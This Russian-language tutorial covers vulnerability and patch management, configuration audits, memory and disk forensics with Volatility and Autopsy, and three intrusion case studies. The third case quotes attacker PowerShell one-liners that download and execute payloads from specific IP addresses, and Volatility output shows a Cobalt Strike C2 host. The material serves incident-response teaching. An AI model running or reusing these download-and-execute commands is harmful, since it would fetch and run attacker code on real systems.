**Управление патчами(заплатками).** Несмотря на то, что термины управления уязвимостями и управления патчами часто используются взаимозаменяемо, это разные, хоть и взаимодополняющие процессы. Процесс управления патчами (Patch management) отвечает за поиск, тестирование и своевременное применение обновлений безопасности на ИТ оборудовании компании. Отдельно стоит отметить важность тестирования выкатки патчей - ведь вместе с исправлением одних проблем производитель может анонсировать другие, более критичные для бизнеса. **Пассивная проверка на наличие уязвимостей** Еще одним способом проверить машину на наличие уязвимостей является сбор информации об установленных приложениях и проверка этого списка в открытых источниках или специализированных сервисах. Пример сервиса vulners.com: 1\. Перейдем на сайт https://vulners.com/scanner/audit и выберем соответствующую ОС(для примера будем использовать Oracle Linux). 2\. Скопируем предложенную команду и выполним ее на нашем сервере: rpm -qa --qf '%{NAME}-%{VERSION}-%{RELEASE}.%{ARCH}\\n' 3\. Вставим полученный результат обратно на сайт: 4\. И после нажатия кнопки "Next" получим результат — список известных уязвимостей в установленых пакетах! Плюсы - Проверки подобного рода не нагружают исследуемый сервер и занимают очень мало времени. - Информацию об установленном ПО можно собирать в одно время(например, раз в день), а проверять на наличие уязвимостей в другое. - Подобные сервисы как правило поддерживают API, что позволяет автоматизировать проверки. Минусы - Информация об уязвимостях может быть не очень корректной. Например, для некоторых linux дистрибутивов секьюрити патчи для приложений не меняют их отображаемую версию, что приводит к выдаче неверных результатов. - Проверяются только уязвимости, связанные с версиями приложений. По факту, уязвимости могут быть связаны с конфигурацией (тогда такая проверка их не обнаружит), или же наоборот, некоторые уязвимости могут быть устранены с помощью каких-либо настроек(в этом случае мы получим flase positive, ложнопозитивный результат). Для полноценной интеграции подобных сервисов в процесс управления уязвимостями необходимо эту интеграцию самостоятельно разработать. Выгрузка списка ПО из инвентори, запросы в API сервиса, выгрузка результатов в тикет-систему и прочие детали могут потребовать значительное время на разработку и поддержку автоматизации. **Стандарт CIS benchmark: проверка конфигурации** Для проверки конфигурации ПО на узлах сети используются либо встроенные средства сканера, либо специализированное ПО. Золотым стандартом в индустрии является CIS(Center Internet Security) benchmark. Ознакомиться с ним можно на сайте: [https://www.cisecurity.org/cis-benchmarks](https://www.cisecurity.org/cis-benchmarks). Также в интернете можно найти неофициальные скрипты от сторонних разработчиков, например: https://github.com/finalduty/cis-benchmarks-audit. Нам понадобится сервер с установленным python3. Склонируем репозиторий: \# git clone https://github.com/finalduty/cis-benchmarks-audit.git Перейдем в каталог с бенчмарком: \# cd cis-benchmarks-audit/ И запустим скрипт со следующими параметрами: \# python3 ./cis\_audit.py --level 1 --server \--level 1 определяет уровень "требовательности" к настройкам конфигурации, уровень 1 более требовательный, чем уровень 2; \--server говорит о том, что мы проверяем конфигурацию сервера, а не рабочей станции. Анализируя результаты необходимо иметь в виду как внешние требования к компании (например, требования соответствия каким-либо стандартам), так и задачи бизнеса. Например, в некоторых проверках бенчмарк требует, чтобы на сервере не были установлены определенные приложения, например HTTP server. Разумеется, это требование не имеет смысла для серверов, задачей которых как раз является обеспечение работы веб-приложений. **Анализ конфигурационных файлов системы аудита** Программы аудита отслеживают огромное количество событий системы, которые впоследствии можно использовать для отслеживания инцидентов ИБ. Первый вопрос, на который нужно ответить при составлении списка правил для аудита это "Какие есть требования к мониторингу событий? Какие события нам нужно отслеживать?" Если специфических требований нет, то можно обратиться к матрице [MITRE](https://github.com/mitre-attack/attack-datasources). ![](https://ucarecdn.com/20a3b7aa-b9f6-479c-8238-81d4190b3776/) Как мы видим, самыми полезными событиями для мониторинга по статистике являются выполнение команд, создание процессов, модификация и создание файлов и события, связанные с сетевым трафиком. **GreenBone Vulnerability Management** GVM состоит из демона Greenbone Vulnerability Manager (gvmd), Greenbone Security Assistant (GSA), Greenbone Security Assistant Daemon (gsad) и сканера OpenVAS. Вариации: - Greenbone Security Manager (GSM) — коммерческий, в форме физического или виртуального устройства с доступом к базе Greenbone. - Greenbone Community Edition (GCE) — виртуальная машина, бесплатная пробная версия GSM с менее полным каналом сообщества Greenbone. - Greenbone Source Edition (GSE) — GVM с открытым исходным кодом. Kali APT включают упакованную версию GSE. У всех есть Greenbone Security Assistant (GSA) — веб-интерфейс для настройки сканирования и получения информации об уязвимостях. **Настройка GreenBone** Сначала определяется цель (Target) сканирования - совокупность сканируемых хостов. Настраивается через: - файл CSV с именами хостов или IP-адресами. - сканирование Host Discovery для обнаружения целей в сети. - CIDR или IP-адреса вручную. Digital Forensic исследует и анализирует цифровые устройства и данные для выявления преступных действий, инцидентов безопасности или других аномалий. Анализ позволяет выявить новые вредоносные объекты или даже техники, пополнив индикаторы компрометации (IOC) и сигнатуры для EDR решений. Таким образом, подобные угрозы будут своевременно предотвращать в будущем. В случае, если инцидент происходит в данный момент, то по результатам проведенного анализа вы сможете начать противодействие. Первыми простыми шагами противодействия могут оказаться блокировка обнаруженных IP-адресов, доменных имен или вредоносных исполняемых файлов. **Анализ оперативной памяти** Исследование оперативной памяти позволяет увидеть активные процессы, открытые сетевые соединения, пароли, ключи шифрования и многое другое. Сбор дампа оперативной памяти (memory dump) — первый этап анализа оперативной памяти. **Сбор дампа оперативной памяти с ВМ** [Техники сбора дампов через средства виртуализации](https://forum.kaspersky.com/topic/how-to-get-a-memory-dump-of-a-virtual-machine-from-its-hypervisor-36407/) В VMware и Fusion (для MacOS) для получения дампа памяти достаточно поставить ВМ на паузу и скопировать два файла: `.vmem` и `.vmss` из директории ВМ. **Сбор дампа оперативной памяти с "железного" ПК** **[WinPmem](https://github.com/Velocidex/WinPmem)**: Старый, открытый исходный код, для Windows. Раньше был в Rekall, сейчас отдельный репозиторий. **[DumpIt](https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/)**: упрощенный, Windows и Linux. В Windows объединяет 32-битную и 64-битную память в один выходной файл. **[MemDump](http://www.nirsoft.net/utils/nircmd.html)**: бесплатная и простая утилита командной строки **[Belkasoft RAM Capturer](https://belkasoft.com/ram-capturer)**: мощный, бесплатный. Может захватывать ОП работающего ПК Windows даже при активной защите от отладки или защиты от дампа. **[Magnet RAM Capture](https://www.magnetforensics.com/resources/magnet-ram-capture/)**: бесплатный и простой. **[LiME (Linux Memory Extractor)](https://github.com/504ensicsLabs/LiME)**: это загружаемый модуль ядра (LKM), прозрачный для целевой системы. Режим гибернации (сон) в Windows ОП перед отключением питание сохраняет состояние в файл C:\\hiberfil.sys, в нем есть дамп ОП. **Strings Linux** дефолтное приложение, пример: Поиск IP адресов ``` ```bash strings win_52a.vmem | grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ``` ``` Поиск почтовых адресов (email) ``` ```bash strings win_52a.vmem | grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b" ``` ``` Поиск артефактов командной строки ``` ```bash strings win_52a.vmem | grep -E "(cmd|powershell|bash)[^\s]+" ``` ``` **Volatility** Volatility де-факто главный инструмент анализа ОП. - volatility 2: [https://github.com/volatilityfoundation/volatility](https://github.com/volatilityfoundation/volatility) - volatility 3: [https://github.com/volatilityfoundation/volatility3](https://github.com/volatilityfoundation/volatility3) Volatility2 vs Volatility3 - Volatility 2 дамп памяти Windows ранее 10 build 19041. - Volatility 2 на python2 - В Volatility 2 указывается профайл версии операционной системы для дампа. - список основных команд в сравнении для версий [https://blog.onfvp.com/post/volatility-cheatsheet/](https://blog.onfvp.com/post/volatility-cheatsheet/). Используемые модули: - `pslist`: покажет список запущенных процессов; - `pstree`: покажет список запущенных процессов, выстроенных в виде дерева родительских отношений; - `psscan`: поиск процессов, может показать чуть больше чем обычный **`pslist`**; - `cmdline`: покажет процессы и их аргументы; - `netscan`: покажет сетевые конекты и связанные с ними процессы; - `malfind`: покажет процессы, содержащие потенциально зловредный код; - `svcscan`: покажет список сервисов Windows; - `dlllist`: покажет список загруженных DLL в указанный процесс. Вывод списка процессов ```yaml # vol -f win_52a.vmem windows.pslist Volatility 3 Framework 2.5.2 Progress: 100.00 PDB scanning finished PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output 4 0 System 0xa80934e81040 120 - N/A False 2023-11-07 06:34:32.000000 N/A Disabled 92 4 Registry 0xa80934ebd080 4 - N/A False 2023-11-07 06:34:25.000000 N/A Disabled 316 4 smss.exe 0xa80935b93040 2 - N/A False 2023-11-07 06:34:32.000000 N/A Disabled ... ``` Вывод дерева процессов ```bash # vol -f win_52a.vmem windows.pstree Volatility 3 Framework 2.5.2 Progress: 100.00 PDB scanning finished PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime 4 0 System 0xa80934e81040 120 - N/A False 2023-11-07 06:34:32.000000 N/A * 1676 4 MemCompression 0xa80939902080 26 - N/A False 2023-11-07 06:34:41.000000 N/A 508 428 wininit.exe 0xa8093608e300 1 - 0 False 2023-11-07 06:34:39.000000 N/A * 644 508 services.exe 0xa80936ed0180 9 - 0 False 2023-11-07 06:34:39.000000 N/A ** 1048 644 svchost.exe 0xa8093b5e8340 4 - 0 False 2023-11-07 06:35:43.000000 N/A ** 1564 644 svchost.exe 0xa809398a5340 3 - 0 False 2023-11-07 06:34:41.000000 N/A ... ``` Сканирование процессов ``` ```yaml # vol -f win_52a.vmem windows.psscan Volatility 3 Framework 2.5.2 Progress: 100.00 PDB scanning finished PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output 2992 644 svchost.exe 0xa60000081080 8 - 0 False 2023-11-07 06:34:44.000000 N/A Disabled 3224 644 svchost.exe 0xa600001b7080 6 - 0 False 2023-11-07 06:34:44.000000 N/A Disabled 4 0 System 0xa80934e81040 120 - N/A False 2023-11-07 06:34:32.000000 N/A Disabled 92 4 Registry 0xa80934ebd080 4 - N/A False 2023-11-07 06:34:25.000000 N/A Disabled 528 2976 cmd.exe 0xa80934f44080 0 - 0 False 2023-11-07 08:49:34.000000 2023-11-07 08:49:34.000000 Disabled 2340 644 spoolsv.exe 0xa8093542f080 9 - 0 False 2023-11-07 06:34:42.000000 N/A Disabled 316 4 smss.exe 0xa80935b93040 2 - N/A False 2023-11-07 06:34:32.000000 N/A Disabled 516 500 csrss.exe 0xa80935fc3080 12 - 1 False 2023-11-07 06:34:39.000000 N/A Disabled 508 428 wininit.exe 0xa8093608e300 1 - 0 False 2023-11-07 06:34:39.000000 N/A Disabled 436 428 csrss.exe 0xa80936c9a080 10 - 0 False 2023-11-07 06:34:38.000000 N/A Disabled ... ``` ``` Сканирование процессов (`psscan`) может показать больше информации, чем обычное отображение списка процессов (`pslist`), если у каких-то процессов использовались техники сокрытия. Поиск зловредной активности ``` ```erlang # vol -f win_52a.vmem windows.malfind Volatility 3 Framework 2.5.2 Progress: 100.00 PDB scanning finished PID Process Start VPN End VPN Tag Protection CommitCharge PrivateMemory File output Hexdump Disasm ... 2216 cybered_beacon 0x1b2017f0000 0x1b20183dfff VadS PAGE_EXECUTE_READWRITE 78 1 Disabled 4d 5a 41 52 55 48 89 e5 MZARUH.. 48 81 ec 20 00 00 00 48 H......H 8d 1d ea ff ff ff 48 89 ......H. df 48 81 c3 cc 60 01 00 .H...`.. ff d3 41 b8 f0 b5 a2 56 ..A....V 68 04 00 00 00 5a 48 89 h....ZH. f9 ff d0 00 00 00 00 00 ........ 00 00 00 00 f8 00 00 00 ........ 4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 8d 1d ea ff ff ff 48 89 df 48 81 c3 cc 60 01 00 ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89 f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00 8620 rundll32.exe 0x1f182510000 0x1f18255dfff VadS PAGE_EXECUTE_READWRITE 78 1 Disabled 4d 5a 41 52 55 48 89 e5 MZARUH.. 48 81 ec 20 00 00 00 48 H......H 8d 1d ea ff ff ff 48 89 ......H. df 48 81 c3 cc 60 01 00 .H...`.. ff d3 41 b8 f0 b5 a2 56 ..A....V 68 04 00 00 00 5a 48 89 h....ZH. f9 ff d0 00 00 00 00 00 ........ 00 00 00 00 f8 00 00 00 ........ 4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 8d 1d ea ff ff ff 48 89 df 48 81 c3 cc 60 01 00 ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89 f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00 ... ``` ``` Вывод информации о сетевых взаимодействиях процессов ```yaml # vol -f win_52a.vmem windows.netscan.NetScan Volatility 3 Framework 2.5.2 Progress: 100.00 PDB scanning finished Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created 0xa80935d55050 TCPv4 0.0.0.0 49664 0.0.0.0 0 LISTENING 664 lsass.exe 2023-11-07 06:34:40.000000 0xa80935d555d0 TCPv4 0.0.0.0 49664 0.0.0.0 0 LISTENING 664 lsass.exe 2023-11-07 06:34:40.000000 0xa80935d555d0 TCPv6 :: 49664 :: 0 LISTENING 664 lsass.exe 2023-11-07 06:34:40.000000 0xa80935d55890 TCPv4 0.0.0.0 135 0.0.0.0 0 LISTENING 892 svchost.exe 2023-11-07 06:34:40.000000 0xa80935d559f0 TCPv4 0.0.0.0 135 0.0.0.0 0 LISTENING 892 svchost.exe 2023-11-07 06:34:40.000000 ... ``` Поиск по Yara-правилам ``` ```x86asm # vol -f win_52a.vmem windows.vadyarascan.VadYaraScan --yara-file "./malware_rules.yar" Volatility 3 Framework 2.5.2 Progress: 100.00 PDB scanning finished Offset PID Rule Component Value 0x18201b6bec9 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182020eb214 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182020eb494 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182025e8fb7 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x18202e3f53f 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x18202e4a83f 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182031bef0c 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182032bbf6f 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182032c293f 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182033015b4 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x18204295fec 92 spyeye_plugins $o 72 64 70 2e 64 6c 6c 0x182071b6479 92 Insta11Strings $ 42 31 32 41 45 38 39 38 2d 44 30 35 36 2d 34 33 37 38 2d 41 38 34 34 2d 36 44 33 39 33 46 45 33 37 39 35 36 0x182072a3a31 92 Insta11Strings $ 45 43 44 34 46 43 34 44 2d 35 32 31 43 2d 31 31 44 30 2d 42 37 39 32 2d 30 30 41 30 43 39 30 33 31 32 45 31 0x182079b80c9 92 Insta11Strings $ 42 31 32 41 45 38 39 38 2d 44 30 35 36 2d 34 33 37 38 2d 41 38 34 34 2d 36 44 33 39 33 46 45 33 37 39 35 36 0x18207a74911 92 Insta11Strings $ 45 43 44 34 46 43 34 44 2d 35 32 31 43 2d 31 31 44 30 2d 42 37 39 32 2d 30 30 41 30 43 39 30 33 31 32 45 31 0x255fc21709c 780 SharedStrings $m4 00 00 00 00 45 00 52 00 00 00 00 00 ... ``` ``` Использование дополнительных плагинов ``` ```swift # vol -r pretty -f win_52a.vmem -p /opt/volatility3/volatility3/framework/plugins/ cobaltstrike Volatility 3 Framework 2.5.2 Formatting...0.00 PDB scanning finished | PID | Process | Port | Sleep | Jitter | Server | POST_PATH | x86 Install_Path | x64 Install_Path | Pipe | License ID * | 2216 | cybered_beacon | 443 | 60000 | 0 | cybered-c2.gopherz.ru,/activity | /submit.php | %windir%\syswow64\rundll32.exe | %windir%\sysnative\rundll32.exe | | 1580103824 * | 8620 | rundll32.exe | 443 | 60000 | 0 | cybered-c2.gopherz.ru,/IE9CompatViewList.xml | /submit.php | %windir%\syswow64\rundll32.exe | %windir%\sysnative\rundll32.exe | | 1580103824 ``` ``` В этом примере используется [дополнительный плагин](https://github.com/Immersive-Labs-Sec/volatility_plugins) volatility 3 для поиска процесса, в рамках которого устанавливается связь с популярным Command&Control системой CobaltStrike. Возможные ошибки YARA-библиотек Работая с плагинами `cobaltstrike` и `yarascan`, вы, возможно, встретите ошибки загрузки этих плагинов. Введя флаг `-vvv` в конец команды vol, вы увидите, что приложение ругается на то, что не может выполнить команду `import yara`. Причина в том, что `cobaltstrike` основан на `yarascan`, а он в свою очередь требует python-модуль `yara` версии 3.8.0 и выше. Поэтому нам надо удалить устаревший модуль `yara` и установить новый `yara-python`. А затем поправить некоторые ссылки на библиотеку. В итоге, фиксим и проверяем себя так: ```python pip3 uninstall yara pip3 install yara-python # python3 Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import yara Failed to import '/usr/lib/libyara.so' # find / -name libyara.so /usr/local/lib/python3.10/dist-packages/usr/lib/libyara.so # ln -s /usr/local/lib/python3.10/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so # python3 Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import yara >>> yara.__version__ '4.5.0' >>> ``` **Анализ HDD** Для групп реагирования на инциденты выделяются определенные функции: - **Анализ структуры файлов**. Возможность перемещаться и видеть иерархию файлов на диске имеет решающее значение. Криминалистические инструменты должны отображать эту структуру, обеспечивая быстрый доступ к определенным файлам, особенно в известных местах подозрительной системы. - **Hex Viewer**: в те моменты, когда вам требуется поближе познакомиться с вашими данными, просмотр файлов в шестнадцатеричном формате необходим. Эта возможность особенно удобна при работе с такими угрозами, как специализированное вредоносное ПО или уникальные эксплойты. - **Анализ веб-артефактов**. Учитывая такой большой объем пользовательских данных, связанных с веб-активностью, выбранный инструмент должен эффективно анализировать и представлять эти данные. Это меняет правила игры, когда вы собираете воедино события, которые привели к тому, что пользователь попал на вредоносный веб-сайт. - **Работа с электронной почты.** Иногда след ведет к внутренним угрозам. Может быть, это мошенник-сотрудник или просто кто-то ошибся. В таких случаях электронные письма часто имеют ключевое значение. Инструмент, который может извлекать и представлять эти данные, упрощает процесс, упрощая соединение точек. - **Средство просмотра изображений**. Иногда изображения, хранящиеся в системах, могут рассказать собственную историю. Будь то проверка политики или более глубокое погружение, наличие встроенного средства просмотра является благом. - **Анализ метаданных.** Такие детали, как временные метки создания файлов, хеши и расположение диска, могут иметь неоценимое значение. Рассмотрим сценарий, в котором вы пытаетесь сопоставить время запуска приложения с предупреждением о вредоносном ПО. Такие корреляции могут стать стержнем вашего расследования. Все перечисленные выше критерии отлично реализованы в бесплатном программном обеспечении **[Autopsy](https://www.autopsy.com/).** **Autopsy** Функции: построение временной диаграммы, поиск ключевых слов, извлечение артефактов из Интернета и электронной почты, а также возможность фильтровать результаты на основе известных хешей вредоносных файлов. **Loki / Thor** Основываясь на YARA-правилах, будучи запущенными непосредственно на зараженном ПК, они помогут вам определить подозрительные файлы и процессы. Loki — бесплатная, но устаревшая и не поддерживаемая версия продукта, написанная на python. Thor Lite — бесплатная новая версия с 4000 YARA правилами, идущими в комплекте + свои. Thor — платная версия с 25000 YARA правилами. Разработчик: https://www.nextron-systems.com/compare-our-scanners/ # Примеры атак ## Инцидент №1 В атаке используется некогда популярный инструмент для удаленного доступа NetSupport. Эта атака началась с электронного письма с прикрепленным zip-файлом, содержащим вредоносный файл JavaScript. После доставки электронного письма пользователь извлек и запустил этот файл. Код JavaScript скачал скрипт PowerShell, который выполнялся в памяти. Запущенный скрипт PowerShell отвечал за развертывание NetSupport в системе, за проверку того, чтобы атака не запускалась в «песочнице», а также за обеспечение закрепления в системе с помощью ключей реестра Windows. После установки NetSupport злоумышленник провел предварительную разведку, используя различные утилиты Windows, такие как whoami, net и systeminfo. Затем злоумышленник попытался повторно включить учетную запись администратора домена, которая была отключена, но, похоже, безуспешно. Через несколько часов за этим действием последовала установка сервера OpenSSH для обеспечения устойчивости доступа атакующего. Для подключения к серверу OpenSSH злоумышленник установил реверсивный SSH-туннель от сервера жертвы к собственному серверу, размещенному у провайдера VPS. Используя ранее упомянутый SSH-туннель для прокси-подключений через хост-плацдарм, злоумышленник установил соединение с контроллером домена. Через SSH-туннель злоумышленник использовал Impacket atexec.py для выполнения различных команд обнаружения в поисках привилегированных групп и компьютеров, присоединенных к домену. Восемь часов спустя злоумышленник изменил настройки брандмауэра на удаленном сервере, а затем начал использовать Impacket wmiexec.py для дальнейшего перемещения. Злоумышленник загрузил CAB-файлы на удаленные хосты с помощью протокола SMB, а затем запустил их с помощью команды wmiexec.py. Исполняемые файлы также представляли собой вредоносное ПО NetSupport, однако они были настроены для взаимодействия с новым сервером управления и контроля. После запуска злоумышленник настроил запланированное задание Windows (scheduled task) для сохранения доступа на этих машинах. Злоумышленник вернулся на следующий день, развернув NetSupport на контроллере домена. Получив этот доступ, он приступил к скачиванию базы данных NTDS.dit. После получения дампа он использовал 7-zip для сжатия файлов. Скорее всего этот архив был похищен через один из существующих сетевых каналов управления и контроля. Менее чем через час злоумышленник перешел на другой контроллер домена и снова приступил к дампу NTDS.dit. Он также запустил Pingcastle, инструмент аудита каталога AD. С помощью NetSupport атакующий подключился к серверу резервных копий, чтобы создать новую учетную запись и добавить ее в группы локальных администраторов и пользователей удаленного рабочего стола. Используя эту учетную запись, он вошел в систему с помощью RDP. После входа в систему злоумышленник загрузил программу Netscan и проверил состояние Microsoft Defender, а затем отключил его. После отключения защиты он загрузил программу ProcDump и приступил к скачиванию базы LSASS на контроллере домена и на сервере резервных копий. После этого злоумышленник запустил скрипт PowerShell для поиска и сохранения событий входа в систему. Затем журнал событий был заархивирован с помощью 7-zip, и скачан для дальнейшего изучения. Злоумышленник также просмотрел общие файловые ресурсы контроллера домена, открыв несколько конфиденциальных документов. Затем Netscan был загружен на контроллер домена и запущен там. Злоумышленник выполнил еще несколько команд обнаружения с использованием WMI, а затем выполнил некоторую очистку, уничтожив запущенные задачи, такие как Netscan и SSH-туннель. Последние наблюдаемые действия заключались в том, что злоумышленник загрузил два бинарных файла Nim на контроллер домена. Эти бинарные файлы Nim затем использовались для попытки создать бэкдор-пользователя и повысить его права до уровня администратора. Исследователи не обнаружили ни одной учетной записи, созданной после выполнения. После тестирования выяснилось, что инструмент не работает и возвращает ошибку. После этого со стороны злоумышленника не было замечено никаких дальнейших действий до момента пока он не был отключен от сети предприятия. Полный отчет можно найти по ссылке [https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/](https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/) На рисунке ниже можно увидеть классификацию техник атакующего по матрице MITRE: ![](https://ucarecdn.com/361902c2-53b3-428b-9c3a-8478534ed28d/) *Классификация техник атакующих по матрице MITRE ([ссылка на источник](https://thedfirreport.com/))* ## Инцидент №2 В 2022 году было отмечено увеличение количества использования злоумышленниками инструментов для удаленного управления (Remote Management and Monitoring, RMM). В сравнении с другими пост-эксплуатационными каналами доступа, которые сильно завязаны на использование терминала (например Cobalt Strike или Metasploit), наличие графического интерфейса делает взаимодействие атакующих с взломанными машинами более удобным. В связи с возросшей популярностью сервисной модели SaaS (Software as a Service), множество программ RMM работают как облачные сервисы. Используя каналы связи, которые работают с использованием легитимных инструментов RMM, атакующие усложняют обнаружение их активности. Эта атака использует несколько RMM, была обнаружена в конце 2022 года, и в конечном итоге привела к заражению компании программой-вымогателем Hive. В ходе этого вторжения, произошедшего в октябре 2022 года, злоумышленник использовал инструмент RMM в качестве начального доступа, а закончилось все установкой программы-вымогателя Hive. Изначальный доступ был получен с помощью фишинга, атакующий использовал исполняемый файл, маскирующийся под легитимный документ. Выполнение файла привело к установке [ScreenConnect](https://screenconnect.connectwise.com/) . Этот первоначальный метод доступа требует, чтобы конечный пользователь был локальным администратором, поскольку пользователи с ограниченными правами не смогли бы установить программу. Примерно через час после установки злоумышленник запустил несколько команд для разведки окружения через ScreenConnect, используя стандартные утилиты Windows, такие как *systeminfo*, *ipconfig* и *net* . Через несколько минут злоумышленник запустил копирование с помощью [BITS](https://learn.microsoft.com/en-us/powershell/module/bitstransfer/start-bitstransfer?view=windowsserver2022-ps) для установки Cobalt Strike. Через час злоумышленник загрузил еще один файл, который представляет из себя инфицированный трояном исполняемый модуль ApacheBench со встроенным шелл-кодом Metasploit. При выполнении шелл-код инициирует канал управления Meterpreter. После запуска нового канала управления и контроля, злоумышленник перешел к горизонтальному перемещению с помощью сервиса удаленных служб, запустив установщики программ Atera и Splashtop (обе программы используются для обеспечения удаленного доступа) на сервере. Также с помощью BITS на сервера был доставлен Cobalt Strike. Примерно через 20 минут после этого действия злоумышленник продолжает свое перемещение по сети к другим серверам, с помощью скрипта [wmiexec.py](https://github.com/fortra/impacket/blob/master/examples/wmiexec.py) Impacket. На следующий день злоумышленник загрузил файл Mimikatz на несколько серверов и запустил их удаленно с помощью wmiexec. Активность стихла еще на несколько часов, пока злоумышленник не вернулся и не запустил новый маяк Cobalt Strike на нескольких хостах по всей сети. Из этих маяков было отправлено несколько команд для разведки окружения, после чего злоумышленник снова впал в спячку. На следующий день злоумышленник выполнил скрипт, предназначенный для извлечения данных Active Directory, с помощью встроенных утилит PowerShell. Затем активность прекратилась до позднего вечера, когда злоумышленник вернулся и начал получать доступ к хостам через RDP. В ходе этих RDP сеансов злоумышленник просматривал общие файловые ресурсы и резервные копии в сети. Затем злоумышленник загрузил Rclone на сервер с общими папками и приступил к настройке подключения к удаленному серверу через [SFTP](https://rclone.org/sftp/) . После подключения злоумышленник приступил к выгрузке файлов через SFTP-соединение. Пока файлы копировались злоумышленник скачал [netscan](https://www.softperfect.com/products/networkscanner/) и провел сканирование сети, уделяя особое внимание службам RDP. Примерно через три часа после начала эксфильтрации злоумышленник начал свои последние действия, запустив программу-вымогатель Hive. Для начала атакующий изменил пароль администратора, а затем вручную запустил программу-вымогатель на нескольких ключевых серверах инфрастуктуры. После этих ручных запусков программ-вымогателей злоумышленник перешел к попыткам шифрования всего домена. Для этого злоумышленник разместил файл программы-вымогателя на общем сетевом ресурсе, а затем создал новый объект групповой политики для всего домена с запланированным заданием, предназначенным для запуска файла программы-вымогателя на каждом компьютере в домене. Поскольку злоумышленник неправильно настроил GPO и создание запланированных задач, развертывание программы-вымогателя на уровне всего домена прошло неудачно. Однако ключевые серверы были успешно зашифрованы вручную. С момента первоначального доступа и до установки программы-вымогателя прошел 61 час. ## Инцидент №3 Вторжение началось с исполняемого файла `document8765.exe`. Файл был доставлен пользователю после посещения сайта `https[:]//environmentca[.]com/bkh6q`. По данным EDR, сайт был открыт из процесса Outlook, что указывает на вероятную доставку по электронной почте. Существует множество методов обнаружения запуска программ, скачанных из интернета. Можно отслеживать MOTW (метки Интернета), или процессы, запускаемые из папок пользователя `%USERPROFILE%\Downloads`. Эти данные можно найти как в журнале событий безопасности (event id *4688)* , так и в журнале Sysmon ( eventid *1* - [создание процесса](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation) ). ## ![](https://ucarecdn.com/a494c18a-ef57-493c-8982-9c965e2d9fa3/) После запуска *document8765.exe установил приложение ScreenConnect через .msi установщик, который был загружен в папку %TEMP%.* ![](https://ucarecdn.com/a82dc0b1-9d3b-4591-a4a4-83e0bc2507ce/) После установки ScreenConnect атакующий запустил несколько CMD и PowerShell-скриптов для разведки: ![](https://ucarecdn.com/f66c5856-1097-4468-a5ad-59c52f22dff9/) Cobalt Strike Одна из команд, запущеных с помощью ScreenConnect, предназначалась для установки Cobalt Strike с помощью скрипта PowerShell: ``` ```bash powershell.exe -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://31.41.244.192:80/96945jgjf' -Destination $d; $t = [IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0 | wait-job | Receive-Job" ``` ``` Поскольку данные передавались в незашифрованном виде, у аналитиков была возможность получить содержимое скрипта из сетевого трафика: ![](https://ucarecdn.com/00ae8e48-5d67-4a02-bb16-8359a56bedad/) Cobalt Strike хранит свою конфигурацию в памяти, и эту конфигурацию можно извлечь, используя такие инструменты, как [cobaltstrike-config-extractor](https://github.com/strozfriedberg/cobaltstrike-config-extractor). ![](https://ucarecdn.com/675fe6bd-17aa-4c89-9883-9fcd0c76e072/) *Примерно через 40 минут* злоумышленник использовал другой PowerShell-модуль, основанный на функции `DownloadFile System.Net.WebClient` *,* для загрузки `%temp%\P6nqEdwk.exe` . Этот "троянский" исполняемый файл был загружен с `http://94.232.43[.]201:8080/dQhNZOV3Qm` и впоследствии запущен. ``` ```php powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z="echo ($env:temp+'\P6nqEdwk.exe')"; (new-object System.Net.WebClient).DownloadFile('http://94.232.43.201:8080/dQhNZOV3Qm', $z); invoke-item $z ``` ``` Событие Sysmon *1 журналов* windows показывает связь между процессами: ScreenConnect запустил PowreShell-скрипт, который, в свою очередь, исполнил `P6nqEdwk.exe`*.* ![](https://ucarecdn.com/fea2dc73-3ac0-443e-927b-8ef2e4e4f81d/) `P6nqEdwk.exe` *представляет из себя модифицированную версию программы* ApacheBench, которая при выполнении запускает PowerShell-скрипт: ![](https://ucarecdn.com/dc7e50e4-33fe-4891-bf71-cc97cc09f753/) Этот скрипт обеспечивает reverse shell - канал удаленного доступа, используя который атакующий может контролировать скомпрометированную машину. **Atera** Несмотря на то, что для получения первоначального доступа использовался ScreenConnect, атакующий установил другое приложение([Atera](https://www.atera.com/)) для удаленного администрирования на серверах, скомпрометированных в дальнейшем. Установка Atera была выполнена через запуск установщика MSI: ``` ```bash C:\Windows\System32\msiexec.exe /i “C:\programdata\setup.msi ``` 